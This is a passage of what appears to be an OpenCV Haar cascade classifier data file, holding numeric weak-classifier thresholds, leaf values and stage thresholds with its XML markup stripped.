+ + 7.4286502599716187e-01 -2.1510200202465057e-01 + <_> + + 0 -1 102 7.6725997030735016e-02 + + -2.6835098862648010e-01 1.3094140291213989e+00 + <_> + + 0 -1 103 2.8578000143170357e-02 + + -5.8793000876903534e-02 1.2196329832077026e+00 + <_> + + 0 -1 104 1.9694000482559204e-02 + + -3.5142898559570312e-01 8.4926998615264893e-01 + <_> + + 0 -1 105 -2.9093999415636063e-02 + + -1.0507299900054932e+00 2.9806300997734070e-01 + <_> + + 0 -1 106 -2.9144000262022018e-02 + + 8.2547801733016968e-01 -3.2687199115753174e-01 + <_> + + 0 -1 107 1.9741000607609749e-02 + + 2.0452600717544556e-01 -8.3760201930999756e-01 + <_> + + 0 -1 108 4.3299999088048935e-03 + + 2.0577900111675262e-01 -6.6829800605773926e-01 + <_> + + 0 -1 109 -3.5500999540090561e-02 + + -1.2969900369644165e+00 1.3897499442100525e-01 + <_> + + 0 -1 110 -1.6172999516129494e-02 + + -1.3110569715499878e+00 7.5751997530460358e-02 + <_> + + 0 -1 111 -2.2151000797748566e-02 + + -1.0524389743804932e+00 1.9241100549697876e-01 + <_> + + 0 -1 112 -2.2707000374794006e-02 + + -1.3735309839248657e+00 6.6780999302864075e-02 + <_> + + 0 -1 113 1.6607999801635742e-02 + + -3.7135999649763107e-02 7.7846401929855347e-01 + <_> + + 0 -1 114 -1.3309000059962273e-02 + + -9.9850702285766602e-01 1.2248100340366364e-01 + <_> + + 0 -1 115 -3.3732000738382339e-02 + + 1.4461359977722168e+00 1.3151999562978745e-02 + <_> + + 0 -1 116 1.6935000196099281e-02 + + -3.7121298909187317e-01 5.2842199802398682e-01 + <_> + + 0 -1 117 3.3259999472647905e-03 + + -5.7568502426147461e-01 3.9261901378631592e-01 + <_> + + 0 -1 118 8.3644002676010132e-02 + + 1.6116000711917877e-02 -2.1173279285430908e+00 + <_> + + 0 -1 119 2.5785198807716370e-01 + + -8.1609003245830536e-02 9.8782497644424438e-01 + <_> + + 0 -1 120 -3.6566998809576035e-02 + + -1.1512110233306885e+00 9.6459001302719116e-02 + <_> + + 0 -1 121 -1.6445999965071678e-02 + + 3.7315499782562256e-01 -1.4585399627685547e-01 + <_> + + 0 -1 122 -3.7519999314099550e-03 + + 2.6179298758506775e-01 -5.8156698942184448e-01 + <_> + + 0 -1 123 -6.3660000450909138e-03 + + 7.5477397441864014e-01 -1.7055200040340424e-01 + <_> + + 0 -1 124 -3.8499999791383743e-03 + + 2.2653999924659729e-01 -6.3876402378082275e-01 + <_> + + 0 -1 125 -4.5494001358747482e-02 + + -1.2640299797058105e+00 2.5260698795318604e-01 + <_> + + 0 -1 126 -2.3941000923514366e-02 + + 8.7068402767181396e-01 -2.7104699611663818e-01 + <_> + + 0 -1 127 -7.7558003365993500e-02 + + -1.3901610374450684e+00 2.3612299561500549e-01 + <_> + + 0 -1 128 2.3614000529050827e-02 + + 6.6140003502368927e-02 -1.2645419836044312e+00 + <_> + + 0 -1 129 -2.5750000495463610e-03 + + -5.3841698169708252e-01 3.0379098653793335e-01 + <_> + + 0 -1 130 1.2010800093412399e-01 + + -3.5343000292778015e-01 5.2866202592849731e-01 + <_> + + 0 -1 131 2.2899999748915434e-03 + + -5.8701997995376587e-01 2.4061000347137451e-01 + <_> + + 0 -1 132 6.9716997444629669e-02 + + -3.3348900079727173e-01 5.1916301250457764e-01 + <_> + + 0 -1 133 -4.6670001000165939e-02 + + 6.9795399904251099e-01 -1.4895999804139137e-02 + <_> + + 0 -1 134 -5.0129000097513199e-02 + + 8.6146199703216553e-01 -2.5986000895500183e-01 + <_> + + 0 -1 135 3.0147999525070190e-02 + + 1.9332799315452576e-01 -5.9131097793579102e-01 + <_> + 53 + -4.1299300193786621e+00 + + <_> + + 0 -1 136 9.1085001826286316e-02 + + -8.9233100414276123e-01 1.0434230566024780e+00 + <_> + + 0 -1 137 1.2818999588489532e-02 + + -1.2597670555114746e+00 5.5317097902297974e-01 + <_> + + 0 -1 138 1.5931999310851097e-02 + + -8.6254400014877319e-01 6.3731801509857178e-01 + <_> + + 0 -1 139 2.2780001163482666e-03 + + -7.4639201164245605e-01 5.3155601024627686e-01 + <_> + + 0 -1 140 3.1840998679399490e-02 + + -1.2650489807128906e+00 3.6153900623321533e-01 + <_> + + 0 -1 141 2.6960000395774841e-03 + + -9.8290401697158813e-01 3.6013001203536987e-01 + <_> + + 0 -1 142 -1.2055000290274620e-02 + + 6.4068400859832764e-01 -5.0125002861022949e-01 + <_> + + 0 -1 143 2.1324999630451202e-02 + + -2.4034999310970306e-01 8.5448002815246582e-01 + <_> + + 0 -1 144 3.0486000701785088e-02 + + -3.4273600578308105e-01 1.1428849697113037e+00 + <_> + + 0 -1 145 -4.5079998672008514e-02 + + 1.0976949930191040e+00 -1.7974600195884705e-01 + <_> + + 0 -1 146 -7.1700997650623322e-02 + + 1.5735000371932983e+00 -3.1433498859405518e-01 + <_> + + 0 -1 147 5.9218000620603561e-02 + + -2.7582401037216187e-01 1.0448570251464844e+00 + <_> + + 0 -1 148 6.7010000348091125e-03 + + -1.0974019765853882e+00 1.9801199436187744e-01 + <_> + + 0 -1 149 4.1046999394893646e-02 + + 3.0547699332237244e-01 -1.3287999629974365e+00 + <_> + + 0 -1 150 -8.5499999113380909e-04 + + 2.5807100534439087e-01 -7.0052897930145264e-01 + <_> + + 0 -1 151 -3.0360000208020210e-02 + + -1.2306419610977173e+00 2.2609399259090424e-01 + <_> + + 0 -1 152 -1.2930000200867653e-02 + + 4.0758600831031799e-01 -5.1234501600265503e-01 + <_> + + 0 -1 153 3.7367999553680420e-02 + + -9.4755001366138458e-02 6.1765098571777344e-01 + <_> + + 0 -1 154 2.4434000253677368e-02 + + -4.1100600361824036e-01 4.7630500793457031e-01 + <_> + + 0 -1 155 5.7007998228073120e-02 + + 2.5249299407005310e-01 -6.8669801950454712e-01 + <_> + + 0 -1 156 -1.6313999891281128e-02 + + -9.3928402662277222e-01 1.1448100209236145e-01 + <_> + + 0 -1 157 -1.7648899555206299e-01 + + 1.2451089620590210e+00 -5.6519001722335815e-02 + <_> + + 0 -1 158 1.7614600062370300e-01 + + -3.2528200745582581e-01 8.2791501283645630e-01 + <_> + + 0 -1 159 -7.3910001665353775e-03 + + 3.4783700108528137e-01 -1.7929099500179291e-01 + <_> + + 0 -1 160 6.0890998691320419e-02 + + 5.5098000913858414e-02 -1.5480779409408569e+00 + <_> + + 0 -1 161 -2.9123000800609589e-02 + + -1.0255639553070068e+00 2.4106900393962860e-01 + <_> + + 0 -1 162 -4.5648999512195587e-02 + + 1.0301599502563477e+00 -3.1672099232673645e-01 + <_> + + 0 -1 163 3.7333000451326370e-02 + + 2.1620599925518036e-01 -8.2589900493621826e-01 + <_> + + 0 -1 164 -2.4411000311374664e-02 + + -1.5957959890365601e+00 5.1139000803232193e-02 + <_> + + 0 -1 165 -5.9806998819112778e-02 + + -1.0312290191650391e+00 1.3092300295829773e-01 + <_> + + 0 -1 166 -3.0106000602245331e-02 + + -1.4781630039215088e+00 3.7211999297142029e-02 + <_> + + 0 -1 167 7.4209999293088913e-03 + + -2.4024100601673126e-01 4.9333998560905457e-01 + <_> + + 0 -1 168 -2.1909999195486307e-03 + + 2.8941500186920166e-01 -5.7259601354598999e-01 + <_> + + 0 -1 169 2.0860999822616577e-02 + + -2.3148399591445923e-01 6.3765901327133179e-01 + <_> + + 0 -1 170 -6.6990000195801258e-03 + + -1.2107750177383423e+00 6.4018003642559052e-02 + <_> + + 0 -1 171 1.8758000805974007e-02 + + 2.4461300671100616e-01 -9.9786698818206787e-01 + <_> + + 0 -1 172 -4.4323001056909561e-02 + + -1.3699189424514771e+00 3.6051999777555466e-02 + <_> + + 0 -1 173 2.2859999909996986e-02 + + 2.1288399398326874e-01 -1.0397620201110840e+00 + <_> + + 0 -1 174 -9.8600005730986595e-04 + + 3.2443600893020630e-01 -5.4291802644729614e-01 + <_> + + 0 -1 175 1.7239000648260117e-02 + + -2.8323900699615479e-01 4.4468200206756592e-01 + <_> + + 0 -1 176 -3.4531001001596451e-02 + + -2.3107020854949951e+00 -3.1399999279528856e-03 + <_> + + 0 -1 177 6.7006997764110565e-02 + + 2.8715699911117554e-01 -6.4481002092361450e-01 + <_> + + 0 -1 178 2.3776899278163910e-01 + + -2.7174800634384155e-01 8.0219101905822754e-01 + <_> + + 0 -1 179 -1.2903000228106976e-02 + + -1.5317620038986206e+00 2.1423600614070892e-01 + <_> + + 0 -1 180 1.0514999739825726e-02 + + 7.7037997543811798e-02 -1.0581140518188477e+00 + <_> + + 0 -1 181 1.6969000920653343e-02 + + 1.4306700229644775e-01 -8.5828399658203125e-01 + <_> + + 0 -1 182 -7.2460002265870571e-03 + + -1.1020129919052124e+00 6.4906999468803406e-02 + <_> + + 0 -1 183 1.0556999593973160e-02 + + 1.3964000158011913e-02 6.3601499795913696e-01 + <_> + + 0 -1 184 6.1380001716315746e-03 + + -3.4545901417732239e-01 5.6296801567077637e-01 + <_> + + 0 -1 185 1.3158000074326992e-02 + + 1.9927300512790680e-01 -1.5040320158004761e+00 + <_> + + 0 -1 186 3.1310000922530890e-03 + + -4.0903699398040771e-01 3.7796398997306824e-01 + <_> + + 0 -1 187 -1.0920699685811996e-01 + + -2.2227079868316650e+00 1.2178199738264084e-01 + <_> + + 0 -1 188 8.1820003688335419e-03 + + -2.8652000427246094e-01 6.7890799045562744e-01 + <_> + 62 + -4.0218091011047363e+00 + + <_> + + 0 -1 189 3.1346999108791351e-02 + + -8.8884598016738892e-01 9.4936800003051758e-01 + <_> + + 0 -1 190 3.1918000429868698e-02 + + -1.1146880388259888e+00 4.8888999223709106e-01 + <_> + + 0 -1 191 6.5939999185502529e-03 + + -1.0097689628601074e+00 4.9723801016807556e-01 + <_> + + 0 -1 192 2.6148000732064247e-02 + + 2.5991299748420715e-01 -1.2537480592727661e+00 + <_> + + 0 -1 193 1.2845000252127647e-02 + + -5.7138597965240479e-01 5.9659498929977417e-01 + <_> + + 0 -1 194 2.6344999670982361e-02 + + -5.5203199386596680e-01 3.0217400193214417e-01 + <_> + + 0 -1 195 -1.5083000063896179e-02 + + -1.2871240377426147e+00 2.2354200482368469e-01 + <_> + + 0 -1 196 -3.8887001574039459e-02 + + 1.7425049543380737e+00 -9.9747002124786377e-02 + <_> + + 0 -1 197 -5.7029998861253262e-03 + + -1.0523240566253662e+00 1.8362599611282349e-01 + <_> + + 0 -1 198 -1.4860000228509307e-03 + + 5.6784200668334961e-01 -4.6742001175880432e-01 + <_> + + 0 -1 199 -2.8486000373959541e-02 + + 1.3082909584045410e+00 -2.6460900902748108e-01 + <_> + + 0 -1 200 6.6224999725818634e-02 + + -4.6210700273513794e-01 4.1749599575996399e-01 + <_> + + 0 -1 201 8.8569996878504753e-03 + + -4.1474899649620056e-01 5.9204798936843872e-01 + <_> + + 0 -1 202 1.1355999857187271e-02 + + 3.6103099584579468e-01 -4.5781201124191284e-01 + <_> + + 0 -1 203 -2.7679998893290758e-03 + + -8.9238899946212769e-01 1.4199000597000122e-01 + <_> + + 0 -1 204 1.1246999725699425e-02 + + 2.9353401064872742e-01 -9.7330600023269653e-01 + <_> + + 0 -1 205 7.1970000863075256e-03 + + -7.9334902763366699e-01 1.8313400447368622e-01 + <_> + + 0 -1 206 3.1768999993801117e-02 + + 1.5523099899291992e-01 -1.3245639801025391e+00 + <_> + + 0 -1 207 2.5173999369144440e-02 + + 3.4214999526739120e-02 -2.0948131084442139e+00 + <_> + + 0 -1 208 7.5360001064836979e-03 + + -3.9450600743293762e-01 5.1333999633789062e-01 + <_> + + 0 -1 209 3.2873000949621201e-02 + + 8.8372997939586639e-02 -1.2814120054244995e+00 + <_> + + 0 -1 210 -2.7379998937249184e-03 + + 5.5286502838134766e-01 -4.6384999155998230e-01 + <_> + + 0 -1 211 -3.8075000047683716e-02 + + -1.8497270345687866e+00 4.5944001525640488e-02 + <_> + + 0 -1 212 -3.8984000682830811e-02 + + -4.8223701119422913e-01 3.4760600328445435e-01 + <_> + + 0 -1 213 2.8029999230057001e-03 + + -4.5154699683189392e-01 4.2806300520896912e-01 + <_> + + 0 -1 214 -5.4145999252796173e-02 + + -8.4520798921585083e-01 1.6674900054931641e-01 + <_> + + 0 -1 215 -8.3280000835657120e-03 + + 3.5348299145698547e-01 -4.7163200378417969e-01 + <_> + + 0 -1 216 3.3778000622987747e-02 + + 1.8463100492954254e-01 -1.6686669588088989e+00 + <_> + + 0 -1 217 -1.1238099634647369e-01 + + -1.2521569728851318e+00 3.5992000252008438e-02 + <_> + + 0 -1 218 -1.0408000089228153e-02 + + -8.1620401144027710e-01 2.3428599536418915e-01 + <_> + + 0 -1 219 -4.9439999274909496e-03 + + -9.2584699392318726e-01 1.0034800320863724e-01 + <_> + + 0 -1 220 -9.3029998242855072e-03 + + 5.6499302387237549e-01 -1.8881900608539581e-01 + <_> + + 0 -1 221 -1.1749999597668648e-02 + + 8.0302399396896362e-01 -3.8277000188827515e-01 + <_> + + 0 -1 222 -2.3217000067234039e-02 + + -8.4926998615264893e-01 1.9671200215816498e-01 + <_> + + 0 -1 223 1.6866000369191170e-02 + + -4.0591898560523987e-01 5.0695300102233887e-01 + <_> + + 0 -1 224 -2.4031000211834908e-02 + + -1.5297520160675049e+00 2.3344999551773071e-01 + <_> + + 0 -1 225 -3.6945998668670654e-02 + + 6.3007700443267822e-01 -3.1780400872230530e-01 + <_> + + 0 -1 226 -6.1563998460769653e-02 + + 5.8627897500991821e-01 -1.2107999995350838e-02 + <_> + + 0 -1 227 2.1661000326275826e-02 + + -2.5623700022697449e-01 1.0409849882125854e+00 + <_> + + 0 -1 228 -3.6710000131279230e-03 + + 2.9171100258827209e-01 -8.3287298679351807e-01 + <_> + + 0 -1 229 4.4849000871181488e-02 + + -3.9633199572563171e-01 4.5662000775337219e-01 + <_> + + 0 -1 230 5.7195000350475311e-02 + + 2.1023899316787720e-01 -1.5004800558090210e+00 + <_> + + 0 -1 231 -1.1342000216245651e-02 + + 4.4071298837661743e-01 -3.8653799891471863e-01 + <_> + + 0 -1 232 -1.2004000134766102e-02 + + 9.3954598903656006e-01 -1.0589499771595001e-01 + <_> + + 0 -1 233 2.2515999153256416e-02 + + 9.4480002298951149e-03 -1.6799509525299072e+00 + <_> + + 0 -1 234 -1.9809000194072723e-02 + + -1.0133639574050903e+00 2.4146600067615509e-01 + <_> + + 0 -1 235 1.5891000628471375e-02 + + -3.7507599592208862e-01 4.6614098548889160e-01 + <_> + + 0 -1 236 -9.1420002281665802e-03 + + -8.0484098196029663e-01 1.7816999554634094e-01 + <_> + + 0 -1 237 -4.4740000739693642e-03 + + -1.0562069416046143e+00 7.3305003345012665e-02 + <_> + + 0 -1 238 1.2742500007152557e-01 + + 2.0165599882602692e-01 -1.5467929840087891e+00 + <_> + + 0 -1 239 4.7703001648187637e-02 + + -3.7937799096107483e-01 3.7885999679565430e-01 + <_> + + 0 -1 240 5.3608000278472900e-02 + + 2.1220499277114868e-01 -1.2399710416793823e+00 + <_> + + 0 -1 241 -3.9680998772382736e-02 + + -1.0257550477981567e+00 5.1282998174428940e-02 + <_> + + 0 -1 242 -6.7327000200748444e-02 + + -1.0304750204086304e+00 2.3005299270153046e-01 + <_> + + 0 -1 243 1.3337600231170654e-01 + + -2.0869000256061554e-01 1.2272510528564453e+00 + <_> + + 0 -1 244 -2.0919300615787506e-01 + + 8.7929898500442505e-01 -4.4254999607801437e-02 + <_> + + 0 -1 245 -6.5589003264904022e-02 + + 1.0443429946899414e+00 -2.1682099997997284e-01 + <_> + + 0 -1 246 6.1882998794317245e-02 + + 1.3798199594020844e-01 -1.9009059667587280e+00 + <_> + + 0 -1 247 -2.5578999891877174e-02 + + -1.6607600450515747e+00 5.8439997956156731e-03 + <_> + + 0 -1 248 -3.4827001392841339e-02 + + 7.9940402507781982e-01 -8.2406997680664062e-02 + <_> + + 0 -1 249 -1.8209999427199364e-02 + + -9.6073997020721436e-01 6.6320002079010010e-02 + <_> + + 0 -1 250 1.5070999972522259e-02 + + 1.9899399578571320e-01 -7.6433002948760986e-01 + <_> + 72 + -3.8832089900970459e+00 + + <_> + + 0 -1 251 4.6324998140335083e-02 + + -1.0362670421600342e+00 8.2201498746871948e-01 + <_> + + 0 -1 252 1.5406999737024307e-02 + + -1.2327589988708496e+00 2.9647698998451233e-01 + <_> + + 0 -1 253 1.2808999978005886e-02 + + -7.5852298736572266e-01 5.7985502481460571e-01 + <_> + + 0 -1 254 4.9150999635457993e-02 + + -3.8983899354934692e-01 8.9680302143096924e-01 + <_> + + 0 -1 255 1.2621000409126282e-02 + + -7.1799302101135254e-01 5.0440901517868042e-01 + <_> + + 0 -1 256 -1.8768999725580215e-02 + + 5.5147600173950195e-01 -7.0555400848388672e-01 + <_> + + 0 -1 257 4.1965000331401825e-02 + + -4.4782099127769470e-01 7.0985502004623413e-01 + <_> + + 0 -1 258 -5.1401998847723007e-02 + + -1.0932120084762573e+00 2.6701900362968445e-01 + <_> + + 0 -1 259 -7.0960998535156250e-02 + + 8.3618402481079102e-01 -3.8318100571632385e-01 + <_> + + 0 -1 260 1.6745999455451965e-02 + + -2.5733101367950439e-01 2.5966501235961914e-01 + <_> + + 0 -1 261 -6.2400000169873238e-03 + + 3.1631499528884888e-01 -5.8796900510787964e-01 + <_> + + 0 -1 262 -3.9397999644279480e-02 + + -1.0491210222244263e+00 1.6822400689125061e-01 + <_> + + 0 -1 263 0. + + 1.6144199669361115e-01 -8.7876898050308228e-01 + <_> + + 0 -1 264 -2.2307999432086945e-02 + + -6.9053500890731812e-01 2.3607000708580017e-01 + <_> + + 0 -1 265 1.8919999711215496e-03 + + 2.4989199638366699e-01 -5.6583297252655029e-01 + <_> + + 0 -1 266 1.0730000212788582e-03 + + -5.0415802001953125e-01 3.8374501466751099e-01 + <_> + + 0 -1 267 3.9230998605489731e-02 + + 4.2619001120328903e-02 -1.3875889778137207e+00 + <_> + + 0 -1 268 6.2238000333309174e-02 + + 1.4119400084018707e-01 -1.0688860416412354e+00 + <_> + + 0 -1 269 2.1399999968707561e-03 + + -8.9622402191162109e-01 1.9796399772167206e-01 + <_> + + 0 -1 270 9.1800000518560410e-04 + + -4.5337298512458801e-01 4.3532699346542358e-01 + <_> + + 0 -1 271 -6.9169998168945312e-03 + + 3.3822798728942871e-01 -4.4793000817298889e-01 + <_> + + 0 -1 272 -2.3866999894380569e-02 + + -7.8908598423004150e-01 2.2511799633502960e-01 + <_> + + 0 -1 273 -1.0262800008058548e-01 + + -2.2831439971923828e+00 -5.3960001096129417e-03 + <_> + + 0 -1 274 -9.5239998772740364e-03 + + 3.9346700906753540e-01 -5.2242201566696167e-01 + <_> + + 0 -1 275 3.9877001196146011e-02 + + 3.2799001783132553e-02 -1.5079489946365356e+00 + <_> + + 0 -1 276 -1.3144999742507935e-02 + + -1.0839990377426147e+00 1.8482400476932526e-01 + <_> + + 0 -1 277 -5.0590999424457550e-02 + + -1.8822289705276489e+00 -2.2199999075382948e-03 + <_> + + 0 -1 278 2.4917000904679298e-02 + + 1.4593400061130524e-01 -2.2196519374847412e+00 + <_> + + 0 -1 279 -7.6370001770555973e-03 + + -1.0164569616317749e+00 5.8797001838684082e-02 + <_> + + 0 -1 280 4.2911998927593231e-02 + + 1.5443000197410583e-01 -1.1843889951705933e+00 + <_> + + 0 -1 281 2.3000000510364771e-04 + + -7.7305799722671509e-01 1.2189900130033493e-01 + <_> + + 0 -1 282 9.0929996222257614e-03 + + -1.1450099945068359e-01 7.1091300249099731e-01 + <_> + + 0 -1 283 1.1145000346004963e-02 + + 7.0000998675823212e-02 -1.0534820556640625e+00 + <_> + + 0 -1 284 -5.2453000098466873e-02 + + -1.7594360113143921e+00 1.9523799419403076e-01 + <_> + + 0 -1 285 -2.3020699620246887e-01 + + 9.5840299129486084e-01 -2.5045698881149292e-01 + <_> + + 0 -1 286 -1.6365999355912209e-02 + + 4.6731901168823242e-01 -2.1108399331569672e-01 + <_> + + 0 -1 287 -1.7208000645041466e-02 + + 7.0835697650909424e-01 -2.8018298745155334e-01 + <_> + + 0 -1 288 -3.6648001521825790e-02 + + -1.1013339757919312e+00 2.4341100454330444e-01 + <_> + + 0 -1 289 -1.0304999537765980e-02 + + -1.0933129787445068e+00 5.6258998811244965e-02 + <_> + + 0 -1 290 -1.3713000342249870e-02 + + -2.6438099145889282e-01 1.9821000099182129e-01 + <_> + + 0 -1 291 2.9308000579476357e-02 + + -2.2142399847507477e-01 1.0525950193405151e+00 + <_> + + 0 -1 292 2.4077000096440315e-02 + + 1.8485699594020844e-01 -1.7203969955444336e+00 + <_> + + 0 -1 293 6.1280000954866409e-03 + + -9.2721498012542725e-01 5.8752998709678650e-02 + <_> + + 0 -1 294 -2.2377999499440193e-02 + + 1.9646559953689575e+00 2.7785999700427055e-02 + <_> + + 0 -1 295 -7.0440000854432583e-03 + + 2.1427600085735321e-01 -4.8407599329948425e-01 + <_> + + 0 -1 296 -4.0603000670671463e-02 + + -1.1754349470138550e+00 1.6061200201511383e-01 + <_> + + 0 -1 297 -2.4466000497341156e-02 + + -1.1239900588989258e+00 4.1110001504421234e-02 + <_> + + 0 -1 298 2.5309999473392963e-03 + + -1.7169700562953949e-01 3.2178801298141479e-01 + <_> + + 0 -1 299 -1.9588999450206757e-02 + + 8.2720202207565308e-01 -2.6376700401306152e-01 + <_> + + 0 -1 300 -2.9635999351739883e-02 + + -1.1524770259857178e+00 1.4999300241470337e-01 + <_> + + 0 -1 301 -1.5030000358819962e-02 + + -1.0491830110549927e+00 4.0160998702049255e-02 + <_> + + 0 -1 302 -6.0715001076459885e-02 + + -1.0903840065002441e+00 1.5330800414085388e-01 + <_> + + 0 -1 303 -1.2790000066161156e-02 + + 4.2248600721359253e-01 -4.2399200797080994e-01 + <_> + + 0 -1 304 -2.0247999578714371e-02 + + -9.1866999864578247e-01 1.8485699594020844e-01 + <_> + + 0 -1 305 -3.0683999881148338e-02 + + -1.5958670377731323e+00 2.5760000571608543e-03 + <_> + + 0 -1 306 -2.0718000829219818e-02 + + -6.6299998760223389e-01 3.1037199497222900e-01 + <_> + + 0 -1 307 -1.7290000105276704e-03 + + 1.9183400273323059e-01 -6.5084999799728394e-01 + <_> + + 0 -1 308 -3.1394001096487045e-02 + + -6.3643002510070801e-01 1.5408399701118469e-01 + <_> + + 0 -1 309 1.9003000110387802e-02 + + -1.8919399380683899e-01 1.5294510126113892e+00 + <_> + + 0 -1 310 6.1769997701048851e-03 + + -1.0597900301218033e-01 6.4859598875045776e-01 + <_> + + 0 -1 311 -1.0165999643504620e-02 + + -1.0802700519561768e+00 3.7176001816987991e-02 + <_> + + 0 -1 312 -1.4169999631121755e-03 + + 3.4157499670982361e-01 -9.7737997770309448e-02 + <_> + + 0 -1 313 -4.0799998678267002e-03 + + 4.7624599933624268e-01 -3.4366300702095032e-01 + <_> + + 0 -1 314 -4.4096998870372772e-02 + + 9.7634297609329224e-01 -1.9173000007867813e-02 + <_> + + 0 -1 315 -6.0669999569654465e-02 + + -2.1752851009368896e+00 -2.8925999999046326e-02 + <_> + + 0 -1 316 -3.2931998372077942e-02 + + -6.4383101463317871e-01 1.6494099795818329e-01 + <_> + + 0 -1 317 -1.4722800254821777e-01 + + -1.4745830297470093e+00 2.5839998852461576e-03 + <_> + + 0 -1 318 -1.1930000036954880e-02 + + 4.2441400885581970e-01 -1.7712600529193878e-01 + <_> + + 0 -1 319 1.4517900347709656e-01 + + 2.5444999337196350e-02 -1.2779400348663330e+00 + <_> + + 0 -1 320 5.1447998732328415e-02 + + 1.5678399801254272e-01 -1.5188430547714233e+00 + <_> + + 0 -1 321 3.1479999888688326e-03 + + -4.0424400568008423e-01 3.2429701089859009e-01 + <_> + + 0 -1 322 -4.3600000441074371e-02 + + -1.9932260513305664e+00 1.5018600225448608e-01 + <_> + 83 + -3.8424909114837646e+00 + + <_> + + 0 -1 323 1.2899599969387054e-01 + + -6.2161999940872192e-01 1.1116520166397095e+00 + <_> + + 0 -1 324 -9.1261997818946838e-02 + + 1.0143059492111206e+00 -6.1335200071334839e-01 + <_> + + 0 -1 325 1.4271999709308147e-02 + + -1.0261659622192383e+00 3.9779999852180481e-01 + <_> + + 0 -1 326 3.2889999449253082e-02 + + -1.1386079788208008e+00 2.8690800070762634e-01 + <_> + + 0 -1 327 1.2590000405907631e-02 + + -5.6645601987838745e-01 4.5172399282455444e-01 + <_> + + 0 -1 328 1.4661000110208988e-02 + + 3.0505999922752380e-01 -6.8129599094390869e-01 + <_> + + 0 -1 329 -3.3555999398231506e-02 + + -1.7208939790725708e+00 6.1439000070095062e-02 + <_> + + 0 -1 330 1.4252699911594391e-01 + + 2.3192200064659119e-01 -1.7297149896621704e+00 + <_> + + 0 -1 331 -6.2079997733235359e-03 + + -1.2163300514221191e+00 1.2160199880599976e-01 + <_> + + 0 -1 332 1.8178999423980713e-02 + + 3.2553699612617493e-01 -8.1003999710083008e-01 + <_> + + 0 -1 333 2.5036999955773354e-02 + + -3.1698799133300781e-01 6.7361402511596680e-01 + <_> + + 0 -1 334 4.6560999006032944e-02 + + -1.1089800298213959e-01 8.4082502126693726e-01 + <_> + + 0 -1 335 -8.9999996125698090e-03 + + 3.9574500918388367e-01 -4.7624599933624268e-01 + <_> + + 0 -1 336 4.0805999189615250e-02 + + -1.8000000272877514e-04 9.4570702314376831e-01 + <_> + + 0 -1 337 -3.4221999347209930e-02 + + 7.5206297636032104e-01 -3.1531500816345215e-01 + <_> + + 0 -1 338 -3.9716001600027084e-02 + + -8.3139598369598389e-01 1.7744399607181549e-01 + <_> + + 0 -1 339 2.5170000735670328e-03 + + -5.9377998113632202e-01 2.4657000601291656e-01 + <_> + + 0 -1 340 2.7428999543190002e-02 + + 1.5998399257659912e-01 -4.2781999707221985e-01 + <_> + + 0 -1 341 3.4986000508069992e-02 + + 3.5055998712778091e-02 -1.5988600254058838e+00 + <_> + + 0 -1 342 4.4970000162720680e-03 + + -5.2034300565719604e-01 3.7828299403190613e-01 + <_> + + 0 -1 343 2.7699999045580626e-03 + + -5.3182601928710938e-01 2.4951000511646271e-01 + <_> + + 0 -1 344 3.5174001008272171e-02 + + 1.9983400404453278e-01 -1.4446129798889160e+00 + <_> + + 0 -1 345 2.5970999151468277e-02 + + 4.4426999986171722e-02 -1.3622980117797852e+00 + <_> + + 0 -1 346 -1.5783999115228653e-02 + + -9.1020399332046509e-01 2.7190300822257996e-01 + <_> + + 0 -1 347 -7.5880000367760658e-03 + + 9.2064999043941498e-02 -8.1628900766372681e-01 + <_> + + 0 -1 348 2.0754000172019005e-02 + + 2.1185700595378876e-01 -7.4729001522064209e-01 + <_> + + 0 -1 349 5.9829000383615494e-02 + + -2.7301099896430969e-01 8.0923300981521606e-01 + <_> + + 0 -1 350 3.9039000868797302e-02 + + -1.0432299971580505e-01 8.6226201057434082e-01 + <_> + + 0 -1 351 2.1665999665856361e-02 + + 6.2709003686904907e-02 -9.8894298076629639e-01 + <_> + + 0 -1 352 -2.7496999129652977e-02 + + -9.2690998315811157e-01 1.5586300194263458e-01 + <_> + + 0 -1 353 1.0462000034749508e-02 + + 1.3418099284172058e-01 -7.0386397838592529e-01 + <_> + + 0 -1 354 2.4870999157428741e-02 + + 1.9706700742244720e-01 -4.0263301134109497e-01 + <_> + + 0 -1 355 -1.6036000102758408e-02 + + -1.1409829854965210e+00 7.3997996747493744e-02 + <_> + + 0 -1 356 4.8627000302076340e-02 + + 1.6990399360656738e-01 -7.2152197360992432e-01 + <_> + + 0 -1 357 1.2619999470189214e-03 + + -4.7389799356460571e-01 2.6254999637603760e-01 + <_> + + 0 -1 358 -8.8035002350807190e-02 + + -2.1606519222259521e+00 1.4554800093173981e-01 + <_> + + 0 -1 359 1.8356999382376671e-02 + + 4.4750999659299850e-02 -1.0766370296478271e+00 + <_> + + 0 -1 360 3.5275001078844070e-02 + + -3.2919000834226608e-02 1.2153890132904053e+00 + <_> + + 0 -1 361 -2.0392900705337524e-01 + + -1.3187999725341797e+00 1.5503999777138233e-02 + <_> + + 0 -1 362 -1.6619000583887100e-02 + + 3.6850199103355408e-01 -1.5283699333667755e-01 + <_> + + 0 -1 363 3.7739001214504242e-02 + + -2.5727799534797668e-01 7.0655298233032227e-01 + <_> + + 0 -1 364 2.2720000706613064e-03 + + -7.7602997422218323e-02 3.3367800712585449e-01 + <_> + + 0 -1 365 -1.4802999794483185e-02 + + -7.8524798154830933e-01 7.6934002339839935e-02 + <_> + + 0 -1 366 -4.8319000750780106e-02 + + 1.7022320032119751e+00 4.9722000956535339e-02 + <_> + + 0 -1 367 -2.9539000242948532e-02 + + 7.7670699357986450e-01 -2.4534299969673157e-01 + <_> + + 0 -1 368 -4.6169001609086990e-02 + + -1.4922779798507690e+00 1.2340000271797180e-01 + <_> + + 0 -1 369 -2.8064999729394913e-02 + + -2.1345369815826416e+00 -2.5797000154852867e-02 + <_> + + 0 -1 370 -5.7339998893439770e-03 + + 5.6982600688934326e-01 -1.2056600302457809e-01 + <_> + + 0 -1 371 -1.0111000388860703e-02 + + 6.7911398410797119e-01 -2.6638001203536987e-01 + <_> + + 0 -1 372 1.1359999887645245e-02 + + 2.4789799749851227e-01 -6.4493000507354736e-01 + <_> + + 0 -1 373 5.1809001713991165e-02 + + 1.4716000296175480e-02 -1.2395579814910889e+00 + <_> + + 0 -1 374 3.3291999250650406e-02 + + -8.2559995353221893e-03 1.0168470144271851e+00 + <_> + + 0 -1 375 -1.4494000002741814e-02 + + 4.5066800713539124e-01 -3.6250999569892883e-01 + <_> + + 0 -1 376 -3.4221999347209930e-02 + + -9.5292502641677856e-01 2.0684599876403809e-01 + <_> + + 0 -1 377 -8.0654002726078033e-02 + + -2.0139501094818115e+00 -2.3084999993443489e-02 + 